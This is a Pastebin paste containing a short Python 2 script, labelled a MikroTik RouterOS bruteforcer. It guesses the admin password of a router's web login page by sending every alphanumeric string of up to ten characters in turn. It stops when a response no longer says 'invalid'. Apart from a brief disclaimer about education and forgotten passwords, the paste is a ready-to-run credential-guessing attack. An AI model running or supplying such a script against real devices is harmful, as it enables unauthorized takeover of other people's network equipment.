Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- MikroTik RouterOS Bruteforcer
- Only use if you forgot your password!!!
- Disclaimer: This script is for educational purposes only. (Or if you forgot your password and do not want to hard reset)
- --
- import urllib
- import re
- import time
- def grep(string,list):
- expr = re.compile(string)
- for text in list:
- match = expr.search(text)
- if match != None:
- print match.string
- brutes = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
- min_chars = 1
- max_chars = 10
- base = len(brutes)
- for b in xrange(base**(min_chars-1)-1, base**max_chars):
- num = b
- digits = []
- while True:
- digit = num % base
- digits.append(digit)
- num = num // base
- if num == 0: break
- digits.reverse()
- brute = "".join([brutes[d] for d in digits])
- url = "http://192.168.1.254/cfg?process=login&backpage=%2Fcfg&page=start&user=admin&password=" + brute + "&submit=+Log+in+"
- input = urllib.urlopen(url)
- rput = input.read()
- if rput.count("invalid") == 0:
- break
- else:
- print "'%s' was invalid." % brute
- print "Done, the password is: '%s'!" % brute
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement